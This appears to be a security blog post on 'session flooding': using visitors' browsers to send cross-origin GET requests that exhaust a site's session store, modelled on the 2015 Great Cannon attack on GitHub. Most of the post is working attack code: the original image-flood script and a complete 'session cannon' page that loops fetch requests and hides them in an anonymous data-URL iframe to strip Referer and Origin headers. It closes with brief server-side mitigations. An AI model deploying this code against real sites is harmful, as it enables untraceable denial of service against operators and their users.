If you have been around the internet for a while you may remember the DDoS attack on github that was carried out through the Great Firewall of China in 2015. The attack was simple, but effectively carried out; In a nutshell, when javascript was requested over unencrypted http, a malicious script was embedded that would load an url on github as an image and trigger a GET request, eventually causing significant load that would impact githubs service.

function imgflood() {
  var TARGET = 'victim-website.com'
  var URI = '/index.php?'
  var pic = new Image()
  var rand = Math.floor(Math.random() * 1000)
  pic.src = 'http://'+TARGET+URI+rand+'=val'
}
setInterval(imgflood, 10)

Browsers have since added mitigations to reduce the impact and this vector was quickly forgotten.

Teaching an old dog new tricks

There are still ways to abuse this though: This attack was effective because it originated from a large number of IP addresses. Other attacks benefit from a large number of sources as well, namely session flooding.

Flooding sessions is fairly simple:

  1. Send a request with no cookies
  2. Receive the response with a session cookie
  3. Goto 1

Consider the following: For every user visiting your site, you’re allocating a session. Since resources are finite, you have to discard sessions eventually. On a properly designed system, this has no impact at all. All data stored in a volatile storage is volatile and can be safely discarded. Well, not everything is perfect and session eviction can actually have customer impact (YMMV). If your application is built around the idea that sessions don’t randomly disappear, you might be prone to session flooding.

If we do this from a single machine we’re quickly going to be blocked. So, how about using other machines for this? If we’re using the unmodified code from the github attack we’re not going to get far. The first request would create a session, but every subsequent request would reuse this session. So, we are going to abuse some security mechanisms to build our attack:

  • suppressing all headers disclosing the origin
  • detaching the cookie jar

Both of those are not actually features, but side products of other security features that have been introduced to solve unrelated problems.

This one is easy. The trick is that xhr requests are sent differently than other requests. This is all we need to do:

fetch('https://example.com/')
    .catch(function(){})
    .then(function(){
        console.log('done');
    });

The important thing is to understand why this works at all. We’re obviously not a CORS whitelisted origin, so there is no way this is going to work in reality, right?

The catch is, we’re sending a GET request here. You can send GET requests (almost) anywhere you want, this is not considered a privileged action. The browser is going to check if the origin is whitelisted and withold the response if it isn’t. Since we are only interested in sending the request but not the actual response, we don’t actually care about the CORS violation. The session has already been created at this point.

In addition, a detached cookie jar is already the default. Sending a request with the cookie jar attached (with { credentials: 'include' }) is considered a privileged action. Requests with the cookie jar detached are considered safe, which is what we’re abusing in our attack here. This is what allows us to create a new session for each request.

Cloaking the attack origin

Next, we’re trying to hide which websites we’re using to run our attack.

By default, our request looks like this:

GET /anything HTTP/1.1
Host: httpbin.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://csrf.fun/
Origin: https://csrf.fun
Connection: keep-alive

With this request, it’s quite obvious where it’s coming from and how to shut it down. We can make this a lot harder by sending those requests out of nowhere.

Using our cloak, the request looks like this:

GET /anything HTTP/1.1
Host: httpbin.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive

As you might have noticed, both the referer and the origin header disappeared. This is done by writing javascript that is able to setup and inject itself into an anonymous origin. Sounds weird? Well, it is. But it’s not super complicated.

We need to declare some functions that we are going to use to set this up:

var generatePayload = function(func, cfg, log) {
    var code = func + '';
    var payload = JSON.stringify(cfg, null, 4);
    log = (log || 'null') + '';
    return '(' + code + ')(' + payload + ', ' + log + ')';
};

Take a function we want to run as our new “main”, a configuration and a function that sends data to our parent origin for IPC. Returns a string that can be evaled to run it.

var exportToHtml = function(code) {
    return '<meta charset="utf-8">\n<body><script>\n' +
        code + ';\n</scri' + 'pt></body>\n';
};

var exportToUrl = function(fileContent) {
    return 'data:text/html;charset=utf-8,' + encodeURIComponent(fileContent);
}

Some packer functions, the first one wraps our javascript in an html document, the second one encodes our html document into a data url that can be loaded by browsers.

Finally, we pull everything together, write a function that we want to run inside the iframe, load it in our anonymous origin and listen for logs:

var fileContent = exportToHtml(generatePayload(function(cfg, log) {
    log('[+] successfully respawned in anonymous origin');

    /* do stuff here, this runs inside the iframe */

}, {
    'dest': DEST,
    'concurrent': CONCURRENT,
}, function(x) {
    window.top.postMessage(x, '*');
}));

window.addEventListener('message', function(msg) {
    console.log(msg.data);
}, false);

console.log('[*] preparing untraceable attack origin...');
var iframe = document.createElement('iframe');
iframe.hidden = true;
iframe.sandbox = 'allow-scripts allow-top-navigation allow-forms allow-same-origin';
iframe.src = exportToUrl(fileContent);
document.body.append(iframe);

Putting it all together

The attack as a whole would look like this. Please only use this for educational purpose and defense and not to actually run the attack.

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf8">
        <title>session cannon</title>
        <style>
        body{color:green;background-color:black;font-family:monospace;font-size:18px;}
        ul,pre{margin:0;padding:0;list-style:none;}
        </style>
    </head>
    <body>
        <ul id="b00t"></ul>
        <script>
            (function(log, body) {
                var DEST = 'https://example.com/index.php';
                var CONCURRENT = 2;

                log('                            _______          ');
                log('  ____ _____    ____   ____ \\   _  \\   ____  ');
                log('_/ ___\\\\__  \\  /    \\ /    \\/  /_\\  \\ /    \\ ');
                log('\\  \\___ / __ \\|   |  \\   |  \\  \\_/   \\   |  \\');
                log(' \\___  >____  /___|  /___|  /\\_____  /___|  /');
                log('     \\/     \\/     \\/     \\/       \\/     \\/ ');

                log('\n                  nudging your session store cross origin');
                log(  '                              great cannon of china style');
                log('[*] setting up cannon...');

                // utils
                var generatePayload = function(func, cfg, log) {
                    var code = func + '';
                    var payload = JSON.stringify(cfg, null, 4);
                    log = (log || 'null') + '';
                    return '(' + code + ')(' + payload + ', ' + log + ')';
                };

                var exportToHtml = function(code) {
                    return '<meta charset="utf-8">\n<body><script>\n' +
                        code + ';\n</scri' + 'pt></body>\n';
                };

                var exportToUrl = function(fileContent) {
                    return 'data:text/html;charset=utf-8,' + encodeURIComponent(fileContent);
                }

                var fileContent = exportToHtml(generatePayload(body, {
                    'dest': DEST,
                    'concurrent': CONCURRENT,
                }, function(x) {
                    window.top.postMessage(x, '*');
                }));

                window.addEventListener('message', function(msg) {
                    log(msg.data);
                }, false);
                log('[*] preparing untraceable attack origin...');
                var iframe = document.createElement('iframe');
                iframe.hidden = true;
                iframe.sandbox = 'allow-scripts allow-top-navigation allow-forms allow-same-origin';
                iframe.src = exportToUrl(fileContent);
                document.body.append(iframe);
            })(function(msg) {
                var b = window['b00t'];
                while(b.childElementCount > 500) { b.children[0].remove() }
                var l = document.createElement('li');
                l.appendChild(document.createElement('pre')).textContent=msg;
                b.appendChild(l).scrollIntoView(true);
            }, function(cfg, log) {
                log('[+] successfully respawned in anonymous origin');

                var ctr = 0;
                var interval = 3;
                // report stats every 3 sec
                setInterval(function() {
                    log('[+] creating ' + (ctr/interval).toFixed(2) + ' sessions/s...');
                    ctr = 0;
                }, interval*1000);

                // http request
                var nudge = function() {
                    fetch(cfg.dest)
                        .catch(function(){})
                        .then(function() {
                            ++ctr;
                            nudge();
                        });
                };

                // spawn concurrent requests
                new Array(cfg.concurrent).fill(1).map(nudge);
            })
        </script>
    </body>
</html>

Mitigation: Make empty sessions zero cost

  • Do not store empty sessions
  • Require POST requests to write into sessions

You might have noticed that the Same Origin Policy is in full effect, yet it isn’t stopping us from running this attack. The Same Origin Policy is built around the idea that GET requests are always safe, as it is common knowledge that GET requests shouldn’t alter any state. If we follow this road for a bit, why should a GET request be able to initialize a session?

If a GET request should never alter a session, a GET request should never need to initialize a session either. Since we are not able to bypass the same origin policy, this problem can be mitigated by not allocating server side resources for empty sessions, and requiring POST requests to actually write to the session. This would fully resolve this issue.

Mitigation: Make your session storage truly volatile

  • Do not put data into a volatile storage that you can’t lose
  • If the user is able to notice data eviction, your data shouldn’t be volatile

Another approach is that the session store should be considered a volatile storage that can lose data at any point in time. If there is any data that the user would expect to stay around, like being logged in, this information should be stored in non-volatile storage. The session storage could provide a very fast write-through cache that can be recovered from reliable storage after being having been evicted.

For example, if being logged in is considered crucial for your application, you should treat the session token the same way you would treat an access key for an API. You can’t store those in volatile memory either.